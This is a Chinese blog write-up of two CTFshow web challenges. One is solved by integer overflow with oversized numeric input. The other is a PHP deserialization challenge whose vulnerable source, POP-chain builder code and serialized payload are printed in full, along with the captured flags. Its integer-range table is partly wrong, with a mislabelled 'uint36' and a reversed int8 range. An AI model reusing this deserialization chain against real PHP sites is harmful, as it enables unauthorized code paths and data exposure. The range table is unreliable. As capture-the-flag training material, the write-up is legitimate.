CTFshow-菜狗杯-茶歇区-小舔田

茶歇区

题目来源

CTFshow-菜狗杯-WEB

题目考点

多次整数溢出

解题思路

通过整数溢出,拿到flag

解题过程

打开题目链接,得到如下界面,不是很明白题目,貌似是整数溢出漏洞利用;

首先我们需要了解各种数据类型对应的取值范围:

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807 

在打开题目页面的咖啡的数量处,输入99999999999999999999,提交

在这里插入图片描述

提交后得到如下反馈

在这里插入图片描述


根据反馈的数字922…807,可以判断为int64,当然一般情况都是int64,这里存在一个疑点,为什么我们传的值已经明显大于9223372036854775807,但是为什么获得的积分是0?

因此当我再次传递999999999999999999时,提示如下

在这里插入图片描述

再次传递999999999999999999时,得到flag

在这里插入图片描述

ctfshow{01be7e5c-4519-4968-9965-a7e821483763}

小舔田

题目来源

CTFshow-菜狗杯-WEB

题目考点

PHP反序列化、对象作属性使用的函数调用

题目源码

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

解题思路

利用PHP反序列化漏洞,得到flag

解题过程

php序列化,最终的利用点在

echo $flag;

该语句在call函数中,找到调用call函数的地方,显然,是Ion_Fan_Princess类中的tostring方法了,那么想要调用tostring函数,可以利用上面类中的tostring方法,使得$this->name的值为Ion_Fan_Princess对象时,在wakeup方法中触发tostring方法;那么就形成了序列化链;

构造反序列化程序

class Moon{
    public $name;
    public function __toString(){
        return $this->name;
    }

    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }

    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}
$a=new Moon();
$W=new Ion_Fan_Princess();
$a->name=$W;
echo serialize($a);

执行程序,得到输出结果

O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

发送请求,得到flag

在这里插入图片描述

ctfshow{968090ea-a3ca-4d7f-a311-9694a614cce6}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值